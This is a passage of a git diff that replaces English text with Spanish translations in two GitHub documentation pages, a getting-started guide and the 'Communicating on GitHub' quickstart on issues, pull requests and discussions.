-With {% data variables.product.product_name %}, you can create, edit, move and delete files in your repository or any repository you have write access to. You can also track the history of changes in a file line by line. For more information, see "[Managing files on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)."
+### 6. Administrar los archivos en {% data variables.product.product_name %}
+Con {% data variables.product.product_name %}, puedes crear, editar, mover y borrar los archivos en tu repositorio o en cualquier repositorio en el que tengas acceso de escritura. También puedes rastrear el historial de cambios en un archivo, línea por línea. Para obtener más información, consulta la sección "[Administrar archivos en {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)".
 
-## Part 3: Collaborating on {% data variables.product.product_name %}
-Any number of people can work together in repositories across {% data variables.product.product_name %}. You can configure settings, create project boards, and manage your notifications to encourage effective collaboration.
+## Parte 3: Colaborar en {% data variables.product.product_name %}
+Cualquier cantidad de personas pueden trabajar juntas en los repositorios a lo largo de {% data variables.product.product_name %}. Puedes configurar los ajustes, crear tableros de proyecto y administrar tus notificaciones para motivar una colaboración efectiva.
 
-### 1. Working with repositories
+### 1. Trabajar con repositorios
 
-#### Creating a repository
-A repository is like a folder for your project. You can have any number of public and private repositories in your user account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)."
+#### Crear un repositorio
+Un repositorio es como una carpeta para tu proyecto. Puedes tener cualquier cantidad de repositorios públicos y privados en tu cuenta de usuario. Los repositorios pueden contener archivos y carpetas, imágenes, videos, hojas de cálculo y juegos de datos, así como el historial de revisión de todos los archivos en el repositorio. Para obtener más información, consulta la sección "[Acerca de los repositorios](/github/creating-cloning-and-archiving-repositories/about-repositories)".
 
-When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
+Cuando creas un repositorio nuevo, debes inicializarlo con un archivo README para que las personas sepan sobre tu proyecto. Para obtener más información, consulta la sección "[Crear un nuevo repositorio](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
 
-#### Cloning a repository
-You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)."
+#### Clonar un repositorio
+Puedes clonar un repositorio existente desde {% data variables.product.product_name %} hacia tu computadora local, haciendo que sea más fácil el agregar o eliminar archivos, corregir conflictos de fusión o hacer confirmaciones complejas. Clonar un repositorio extrae una copia integral de todos los datos del mismo que {% data variables.product.prodname_dotcom %} tiene en ese momento, incluyendo todas las versiones para cada archivo y carpeta para el proyecto. Para obtener más información, consulta "[Clonar un repositorio](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)".
 
-#### Forking a repository
-A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)."
-### 2. Importing your projects
-If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)."
+#### Bifurcar un repositorio
+Una bifurcación es una copia de un repositorio que administres, en donde cualquier cambio que hagas no afectará el repositorio a menos de que emitas una solicitud de cambios del propietario del proyecto. Casi siempre las bifurcaciones se usan para proponer cambios al proyecto de otra persona o para usar el proyecto de otra persona como inicio de tu propia idea. Para obtener más información, consulta la sección "[Trabajar con las bifurcaciones](/github/collaborating-with-pull-requests/working-with-forks)".
+### 2. Importar tus proyectos
+Si tienes proyectos existentes que quisieras mover a {% data variables.product.product_name %}, puedes importarlos utilizando el importador de {% data variables.product.prodname_dotcom %}, la línea de comandos o herramientas de migración externas. Para obtener más información, consulta la sección, "[Importar el código fuente a {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)"-
 
-### 3. Managing collaborators and permissions
-You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)."
+### 3. Administrar colaboradores y permisos
+Puedes colaborar en tu proyecto con otros usando los tableros de proyecto, las solicitudes de extracción y las propuestas de tu repositorio. Puedes invitar a otras personas para que sean colaboradores en tu repositorio desde la pestaña de **Colaboradores** en los ajustes de repositorio. Para obtener más información, consulta la sección "[Invitar colaboradores a un repositorio personal](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)".
 
-You are the owner of any repository you create in your user account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)."
+Eres el propietario de cualquier repositorio que crees en tu cuenta de usuario y tienes control total sobre este. Los colaboradores tiene acceso de escritura a tu repositorio, lo cual limita sus permisos. Para obtener más información, consulta "[Niveles de permiso para un repositorio de cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)".
 
-### 4. Managing repository settings
-As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+### 4. Administrar configuraciones de repositorios
+Como propietario de un repositorio, puedes configurar varios ajustes, incluyendo la visibilidad del repositorio, los temas y la vista previa de redes sociales. Para obtener más información, consulta la sección "[Administrar la configuración de los repositorios](/github/administering-a-repository/managing-repository-settings)".
 
-### 5. Setting up your project for healthy contributions
+### 5. Configurar tu proyecto para contribuciones saludables
 {% ifversion fpt or ghec %}
-To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides.
+Para motivar a los colaboradores de tu repositorio, necesitarás una comunidad que motive a las personas para usar, contribuir a y evangelizar tu proyecto. Para obtener más información, consulta la sección "[Crear Comunidades Acogedoras](https://opensource.guide/building-community/)" en las Guías de Código Abierto.
 
-By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+Al agregar archivos como lineamientos de contribución, un código de conducta y una licencia para tu repositorio, puedes crear un ambiente en donde sea más fácil para los colaboradores realizar contribuciones significativas y útiles. Para encontrar más información, visita la sección "[ Configurar tu proyecto para tener contribuciones saludables](/communities/setting-up-your-project-for-healthy-contributions)."
 {% endif %}
 {% ifversion ghes or ghae %}
-By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+Al agregar archivos como lineamientos de contribución, un código de conducta y tener compatibilidad con los recursos para tu repositorio, puedes crear un ambiente en donde sea más fácil para los colaboradores realizar contribuciones significativas y útiles. Para encontrar más información, visita la sección "[ Configurar tu proyecto para tener contribuciones saludables](/communities/setting-up-your-project-for-healthy-contributions)."
 {% endif %}
 
-### 6. Using GitHub Issues and project boards
-You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
+### 6. Utilizar las propuestas y tableros de proyecto de GitHub
+Puedes utilizar las propuestas de GiHub para organizar tu trabajo con las propuestas y solicitudes de trabajo y administrar tu flujo de trabajo con tableros de proyecto. Para obtener más información, consulta las secciones "[Acerca de las propuestas](/issues/tracking-your-work-with-issues/about-issues)" y [Acerca de los tableros de proyecto](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)".
 
-### 7. Managing notifications
-Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+### 7. Administrar notificaciones
+Las notificaciones proporcionan actualizaciones sobre la actividad en {% data variables.product.prodname_dotcom %} a la cual estás suscrito o en la cual participas. Si ya no te interesa alguna conversación, te puedes dar de baja, dejar de seguir o personalizar los tipos de notificaciones que recibirás en el futuro. Para obtener más información, consulta la sección "[Acerca de las notificaciones](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)".
 
-### 8. Working with {% data variables.product.prodname_pages %}
-You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+### 8. Trabajar con {% data variables.product.prodname_pages %}
+Puedes utilizar {% data variables.product.prodname_pages %} para crear y hospedar un sitio web directamente desde un repositorio de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)".
 
 {% ifversion fpt or ghec %}
-### 9. Using {% data variables.product.prodname_discussions %}
-You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+### 9. Uso de {% data variables.product.prodname_discussions %}
+Puedes habilitar los {% data variables.product.prodname_discussions %} en tu repositorio para ayudar a crear una comunidad al rededor de tu proyecto. Los mantenedores, contribuyentes y visitantes pueden utilizar los debates para compartir anuncios, hacer y responder preguntas y participar en conversaciones sobre las metas. Para obtener más información, consulta la sección "[Acerca de los debates](/discussions/collaborating-with-your-community-using-discussions/about-discussions)".
 {% endif %}
-## Part 4: Customizing and automating your work on {% data variables.product.product_name %}
+## Parte 4: Personalizar y automatizar tu trabajo en {% data variables.product.product_name %}
 
 {% data reusables.getting-started.customizing-and-automating %}
 
 {% ifversion fpt or ghec %}
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. Uso de {% data variables.product.prodname_marketplace %}
 {% data reusables.getting-started.marketplace %}
 {% endif %}
-### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
 
-### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %}
+### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Crear {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} 
+### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publicar y administrar el {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
-## Part 5: Building securely on {% data variables.product.product_name %}
-{% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+## Parte 5: Compilar de forma segura en {% data variables.product.product_name %}
+{% data variables.product.product_name %} tiene características de seguridad diversas que ayudan a mantener la seguridad del código y de los secretos en los repositorios. Algunas de las características se encuentran disponibles para todos los repositorios, mientras que otras solo están disponibles para los repositorios públicos o para aquellos con una licencia de {% data variables.product.prodname_GH_advanced_security %}. Para ver un resumen de las características de seguridad de {% data variables.product.product_name %}, consulta la sección "[características de seguridad de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)".
 
-### 1. Securing your repository
-As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. 
+### 1. Asegurar tu repositorio
+Como administrador de un repositorio, puedes proteger tus repositorios si configuras los ajustes de seguridad de estos. Estos incluyen el administrar el acceso a tu repositorio, configurar una política de seguridad y administrar las dependencias. Para los repositorios públicos y para los privados que pertenezcan a las organizaciones en donde se haya habilitado la {% data variables.product.prodname_GH_advanced_security %}, también puedes configurar el escaneo de código y de secretos para que identifiquen las vulnerabilidades automáticamente y garanticen que los tokens y las llaves no se expongan.
 
-For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
+Para obtener más información sobre los pasos que debes tomar para proteger tus repositorios, consulta la sección "[Proteger tu repositorio](/code-security/getting-started/securing-your-repository)".
 
 {% ifversion fpt or ghec %}
-### 2. Managing your dependencies
-A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. 
+### 2. Administrar tus dependencias
+Una parte grande de compilar de forma segura es mantener las dependencias de tu proyecto para asegurarte de que todos los paquetes y aplicaciones de las cuales dependes estén actualizadas y seguras. Puedes administrar las dependencias de tu repositorio en {% data variables.product.product_name %} si exploras la gráfica de dependencias para este utilizando el Dependabot para levantar solicitudes de cambio automáticamente para mantener tus dependencias actualizadas y recibiendo alertas del Dependabot y actualizaciones de seguridad para las dependencias vulnerables.
 
-For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)."
+Para obtener más información, consulta la sección "[Proteger tu cadena de suministro de software](/code-security/supply-chain-security)".
 {% endif %}
 
-## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
+## Parte 6: Participar en la comunidad de {% data variables.product.prodname_dotcom %}
 
 {% data reusables.getting-started.participating-in-community %}
 
-### 1. Contributing to open source projects
+### 1. Contribuir con proyectos de código abierto
 {% data reusables.getting-started.open-source-projects %}
 
-### 2. Interacting with {% data variables.product.prodname_gcf %}
+### 2. Interactuar con {% data variables.product.prodname_gcf %}
 {% data reusables.support.ask-and-answer-forum %}
 
-### 3. Learning with {% data variables.product.prodname_learning %}
+### 3. Leer sobre {% data variables.product.product_name %} en {% data variables.product.prodname_docs %}
+
+{% data reusables.docs.you-can-read-docs-for-your-product %}
+
+### 4. Aprender con {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab %}
 
 {% ifversion fpt or ghec %}
-### 4. Supporting the open source community
+### 5. Apoyar a la comunidad de código abierto
 {% data reusables.getting-started.sponsors %}
 
-### 5. Contacting {% data variables.contact.github_support %}
+### 6. Comunicarse con {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
 
 {% ifversion fpt %}
-## Further reading
-- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
+## Leer más
+- "[Iniciar con {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
 {% endif %}
 {% endif %}
diff --git a/translations/es-ES/content/get-started/quickstart/communicating-on-github.md b/translations/es-ES/content/get-started/quickstart/communicating-on-github.md
index 3f155a9a7e..bedb65241c 100644
--- a/translations/es-ES/content/get-started/quickstart/communicating-on-github.md
+++ b/translations/es-ES/content/get-started/quickstart/communicating-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Communicating on GitHub
-intro: 'You can discuss specific projects and changes, as well as broader ideas or team goals, using different types of discussions on {% data variables.product.product_name %}.'
+title: Comunicarse en GitHub
+intro: 'Puedes debatir cambios y proyectos específicos, así como metas de equipo o ideas más amplias, usando tipos diferentes de debates en {% data variables.product.product_name %}.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started/quickstart-for-communicating-on-github
@@ -19,138 +19,139 @@ topics:
   - Discussions
   - Fundamentals
 ---
-## Introduction
 
-{% data variables.product.product_name %} provides built-in collaborative communication tools allowing you to interact closely with your community. This quickstart guide will show you how to pick the right tool for your needs.
+## Introducción
+
+{% data variables.product.product_name %} proporciona herramientas de comunicación colaborativas que te permiten interactuar de cerca con tu comunidad. Esta guía de inicio rápido te mostrará cómo escoger la herramienta correcta para tus necesidades.
 
 {% ifversion fpt or ghec %}
-You can create and participate in issues, pull requests, {% data variables.product.prodname_discussions %}, and team discussions, depending on the type of conversation you'd like to have.
+Puedes crear y participar en propuestas, solicitudes de cambios, {% data variables.product.prodname_discussions %} y debates de equipo, dependiendo del tipo de conversación que te gustaría tener.
 {% endif %}
 {% ifversion ghes or ghae %}
-You can create and participate in issues, pull requests and team discussions, depending on the type of conversation you'd like to have.
+Puedes crear y participar de propuestas, solicitudes de extracción y debates de equipos, dependiendo del tipo de conversación que quieras tener.
 {% endif %}
 
 ### {% data variables.product.prodname_github_issues %}
-- are useful for discussing specific details of a project such as bug reports, planned improvements and feedback. 
-- are specific to a repository, and usually have a clear owner. 
-- are often referred to as {% data variables.product.prodname_dotcom %}'s bug-tracking system.
-  
-### Pull requests
-- allow you to propose specific changes.
-- allow you to comment directly on proposed changes suggested by others. 
-- are specific to a repository. 
- 
+- son útiles para debatir los detalles específicos de un proyecto, tales como los reportes de errores, mejoras planeadas y retroalimentación.
+- son específicas de un repositorio y, habitualmente, es claro quién es el propietario.
+- a menudo se refiere a ellas como el sistema de rastreo de errores de {% data variables.product.prodname_dotcom %}.
+
+### Solicitudes de cambios
+- te permiten proponer cambios específicos.
+- te permiten comentar directamente en los cambios propuestos que otros sugieren.
+- son específicos para un repositorio.
+
 {% ifversion fpt or ghec %}
 ### {% data variables.product.prodname_discussions %}
--  are like a forum, and are best used for open-form ideas and discussions where collaboration is important. 
--  may span many repositories. 
--  provide a collaborative experience outside the codebase, allowing the brainstorming of ideas, and the creation of a community knowledge base.
--  often don’t have a clear owner.
--  often do not result in an actionable task.
+-  son como un foro y son muy útiles para ideas y debates abiertos en donde es importante la colaboración.
+-  pueden abarcar muchos repositorios.
+-  proporcionan una experiencia colaborativa fuera de la base de código, lo cual permite la lluvia de ideas y la creación de una base de conocimiento comunitario.
+-  a menudo no se sabe quién es el propietario.
+-  a menudo no dan como resultado una tarea sobre la cual se pueda actuar.
 {% endif %}
 
-### Team discussions
-- can be started on your team's page for conversations that span across projects and don't belong in a specific issue or pull request. Instead of opening an issue in a repository to discuss an idea, you can include the entire team by having a conversation in a team discussion.
-- allow you to hold discussions with your team about planning, analysis, design, user research and general project decision making in one place.{% ifversion ghes or ghae %} 
-- provide a collaborative experience outside the codebase, allowing the brainstorming of ideas.
-- often don’t have a clear owner.
-- often do not result in an actionable task.{% endif %}
+### Debates de equipo
+- pueden iniciarse en la página de tu equipo para tener conversaciones que abarquen varios proyectos y no pertenecen solo a una propuesta o solicitud de cambios específicas. En vez de abrir un informe de problemas en un repositorio para debatir sobre una idea, puedes incluir a todo el equipo si tienes una conversación en un debate de equipo.
+- te permiten mantener debates con tu equipo sobre planeación, análisis, diseño, investigación de usuarios y toma de decisiones generales de un proyecto, todo en un solo lugar.{% ifversion ghes or ghae %}
+- proporcionan una experiencia colaborativa fuera de la base de código, lo cual permite la lluvia de ideas.
+- a menudo no se sabe quién es el propietario.
+- a menudo no dan como resultad una tarea sobre la cual se pueda actuar.{% endif %}
 
-## Which discussion tool should I use?
+## ¿Qué debate debo utilizar?
 
-### Scenarios for issues
+### Casos de las propuestas
 
-- I want to keep track of tasks, enhancements and bugs.
-- I want to file a bug report.
-- I want to share feedback about a specific feature.
-- I want to ask a question about files in the repository.
+- Quiero dar seguimiento a las tareas, ampliaciones y errores.
+- Quiero emitir un reporte de errores.
+- Quiero compartir retroalimentación sobre una característica específica.
+- Quiero hacer una pregunta sobre los archivos del repositorio.
 
-#### Issue example
+#### Ejemplo de propuesta
 
-This example illustrates how a {% data variables.product.prodname_dotcom %} user created an issue in our documentation open source repository to make us aware of a bug, and discuss a fix. 
+Este ejemplo demuestra cómo un usuario de {% data variables.product.prodname_dotcom %} creó una propuesta en nuestro repositorio de documentación de código abierto para concientizarnos de un error y debatir sobre cómo arreglarlo.
 
-![Example of issue](/assets/images/help/issues/issue-example.png)
+![Ejemplo de propuesta](/assets/images/help/issues/issue-example.png)
 
-- A user noticed that the blue color of the banner at the top of the page in the Chinese version of the {% data variables.product.prodname_dotcom %} Docs makes the text in the banner unreadable. 
-- The user created an issue in the repository, stating the problem and suggesting a fix (which is, use a different background color for the banner).
-- A discussion ensues, and eventually, a consensus will be reached about the fix to apply.
-- A contributor can then create a pull request with the fix.
+- Un usuario notó que el color azul del letrero en la parte superior de la página de la versión china de los documentos de {% data variables.product.prodname_dotcom %} hace que el texto contenido sea ilegible.
+- El usurio creó una propuesta en el repositorio, la cual declaraba el problema y sugería un arreglo (el cual es utilizar un color de fondo diferente para el letrero).
+- Se produce un debate y, periódicamente, se llega a un consenso sobre qué solución aplicar.
+- Entonces, un colaborador puede crear una solicitud de cambios con la solución.
 
-### Scenarios for pull requests
+### Escenarios para solicitudes de cambios
 
-- I want to fix a typo in a repository.
-- I want to make changes to a repository.
-- I want to make changes to fix an issue.
-- I want to comment on changes suggested by others.
+- Quiero arreglar un error tipográcifo en un repositorio.
+- Quiero hacer cambios en un repositorio.
+- Quiero hacer cambios para corregir un error.
+- Quiero comentar en los cambios que otros sugieren.
 
-#### Pull request example
+#### Ejemplo de solicitud de cambios
 
-This example illustrates how a {% data variables.product.prodname_dotcom %} user created a pull request in our documentation open source repository to fix a typo. 
+Este ejemplo ilustra cómo un usuario de {% data variables.product.prodname_dotcom %} creó una solicitud de cambios en el repositorio de código abierto de nuestra documentación para arreglar un error tipográfico.
 
-In the **Conversation** tab of the pull request, the author explains why they created the pull request.
+En la pestaña de **Conversación** de la solicitud de cambios, el autor explica por qué crearon la solicitud de cambios.
 
-![Example of pull request - Conversation tab](/assets/images/help/pull_requests/pr-conversation-example.png)
+![Ejemplo de solicitud de cambios - Pestaña de conversación](/assets/images/help/pull_requests/pr-conversation-example.png)
 
-The **Files changed** tab of the pull request shows the implemented fix.
+La pestaña **Archivos que cambiaron** de la solicitud de cambios muestra la solución implementada.
 
-![Example of pull request - Files changed tab](/assets/images/help/pull_requests/pr-files-changed-example.png)
+![Ejemplo de solicitud de cambios - Pestaña de archivos que cambiaron](/assets/images/help/pull_requests/pr-files-changed-example.png)
 
-- This contributor notices a typo in the repository.
-- The user creates a pull request with the fix.
-- A repository maintainer reviews the pull request, comments on it, and merges it.
+- Este contribuyente nota un error tipográfico en el repositorio.
+- El usuario crea una solicitud de cambios con la solución.
+- Un mantenedor de repositorio revisa la solicitud de cambios, la comenta y la fusiona.
 
 {% ifversion fpt or ghec %}
-### Scenarios for {% data variables.product.prodname_discussions %}
+### Casos para los {% data variables.product.prodname_discussions %}
 
-- I have a question that's not necessarily related to specific files in the repository.
-- I want to share news with my collaborators, or my team.
-- I want to start or participate in an open-ended conversation.
-- I want to make an announcement to my community.
+- Tengo una pregunta que no se relaciona necesariamente con los archivos específicos del repositorio.
+- Quiero compartir las noticias con mis colaboradores o con mi equipo.
+- Quiero comenzar o participar en una conversación abierta.
+- Quiero hacer un anuncio a mi comunidad.
 
-#### {% data variables.product.prodname_discussions %} example
+#### Ejemplo de {% data variables.product.prodname_discussions %}
 
-This example shows the {% data variables.product.prodname_discussions %} welcome post for the {% data variables.product.prodname_dotcom %} Docs open source repository, and illustrates how the team wants to collaborate with their community.
+Este ejemplo muestra la publicación de bienvenida de {% data variables.product.prodname_discussions %} para el repositorio de código abierto de los documentos de {% data variables.product.prodname_dotcom %} e ilustra cómo el equipo quiere colaborar con su comunidad.
 
-![Example of {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png)
+![Ejemplo de un {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png)
 
-This community maintainer started a discussion to welcome the community, and to ask members to introduce themselves. This post fosters an inviting atmosphere for visitors and contributors. The post also clarifies that the team's happy to help with contributions to the repository.
+El mantenedor de la comunidad inició un debate para recibir a la comunidad y para pedir a los miembros que se presentaran a sí mismos. Esta publicación fomenta un ambiente acogedor para los visitantes y contribuyentes. Esta publicación también aclara que al equipo le complace ayudar a los contribuyentes del repositorio.
 
 {% endif %}
 {% ifversion fpt or ghes or ghae or ghec %}
-### Scenarios for team discussions
+### Casos de debates de equipo
 
-- I have a question that's not necessarily related to specific files in the repository.
-- I want to share news with my collaborators, or my team.
-- I want to start or participate in an open-ended conversation.
-- I want to make an announcement to my team.
+- Tengo una pregunta que no se relaciona necesariamente con los archivos específicos del repositorio.
+- Quiero compartir las noticias con mis colaboradores o con mi equipo.
+- Quiero comenzar o participar en una conversación abierta.
+- Quiero anunciar algo a mi equipo.
 
 {% ifversion fpt or ghec %}
-As you can see, team discussions are very similar to {% data variables.product.prodname_discussions %}. For {% data variables.product.prodname_dotcom_the_website %}, we recommend using {% data variables.product.prodname_discussions %} as the starting point for conversations. You can use {% data variables.product.prodname_discussions %} to collaborate with any community on {% data variables.product.prodname_dotcom %}. If you are part of an organization, and would like to initiate conversations within your organization or team within that organization, you should use team discussions.
+Como puedes ver, los debates de equipo son muy similares a los {% data variables.product.prodname_discussions %}. Para {% data variables.product.prodname_dotcom_the_website %}, te recomendamos utilizar los {% data variables.product.prodname_discussions %} como inicio de conversaciones. Puedes utilizar los {% data variables.product.prodname_discussions %} para colaborar con cualquier comunidad en {% data variables.product.prodname_dotcom %}. Si eres parte de una organización y te gustaría iniciar conversaciones dentro de tu organización o del equipo que está dentro de ella, debes utilizar los debates de equipo.
 {% endif %}
 
-#### Team discussion example
+#### Ejemplo de debates de equipo
 
-This example shows a team post for the `octo-team` team.
+Este ejemplo muestra una publicación de equipo para el equipo `octo-team`.
 
-![Example of team discussion](/assets/images/help/projects/team-discussions-example.png)
+![Ejemplo de debate de equipo](/assets/images/help/projects/team-discussions-example.png)
 
-The `octocat` team member posted a team discussion, informing the team of various things:
-- A team member called Mona started remote game events.
-- There is a blog post describing how the teams use {% data variables.product.prodname_actions %} to produce their docs.
-- Material about the April All Hands is now available for all team members to view.
+Un miembro del equipo `octocat` publicó un debate de equipo que les informaba sobre varias cosas:
+- Un miembro del equipo llamado Mona inició eventos de juego remotos.
+- Hay una publicación del blog que describe cómo los equipos utilizan {% data variables.product.prodname_actions %} para producir sus documentos.
+- Los materiales sobre el "All Hands" de abril está ahora disponible para que lo vean todos los miembros del equipo.
 
 {% endif %}
 
-## Next steps
+## Pasos siguientes
 
-These examples showed you how to decide which is the best tool for your conversations on {% data variables.product.product_name %}. But this is only the beginning; there is so much more you can do to tailor these tools to your needs.
+Estos ejemplos te muestran cómo decidir cuál es la mejor herramienta para tus conversaciones en {% data variables.product.product_name %}. Pero esto es solo el inicio; puedes hacer mucho más para confeccionar estas herramientas de acuerdo con tus necesidades.
 
-For issues, for example, you can tag issues with labels for quicker searching and create issue templates to help contributors open meaningful issues. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues#working-with-issues)" and "[About issue and pull request templates](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)."
+Para las propuestas, por ejemplo, puedes etiquetarlas con etiquetas para buscarlas más rápidamente y crear plantillas de propuesta para ayudar a los contribuyentes a abrir propuestas significativas. Para obtener más información, consulta la sección "[Acerca de las propuestas](/github/managing-your-work-on-github/about-issues#working-with-issues)" y "[Acerca de las plantillas de propuestas y solicitudes de cambio](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)".
 
-For pull requests, you can create draft pull requests if your proposed changes are still a work in progress. Draft pull requests cannot be merged until they're marked as ready for review. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)."
+Para las solicitudes de cambio, puedes crear borradores de estas si los cambios que propones aún están en curso. Los borradores de solicitudes de cambios no pueden fusionarse hasta que se marquen como listos para revisión. Para obtener más información, consulta "[Acerca de las solicitudes de extracción](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)."
 
 {% ifversion fpt or ghec %}
-For {% data variables.product.prodname_discussions %}, you can set up a code of conduct and pin discussions that contain important information for your community. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+Para el caso de los {% data variables.product.prodname_discussions %}, puedes configurar un código de conducta y fijar los debates que contengan información importante de tu comunidad. Para obtener más información, consulta la sección "[Acerca de los debates](/discussions/collaborating-with-your-community-using-discussions/about-discussions)".
 {% endif %}
 
-For team discussions, you can edit or delete discussions on a team's page, and you can configure notifications for team discussions. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)."
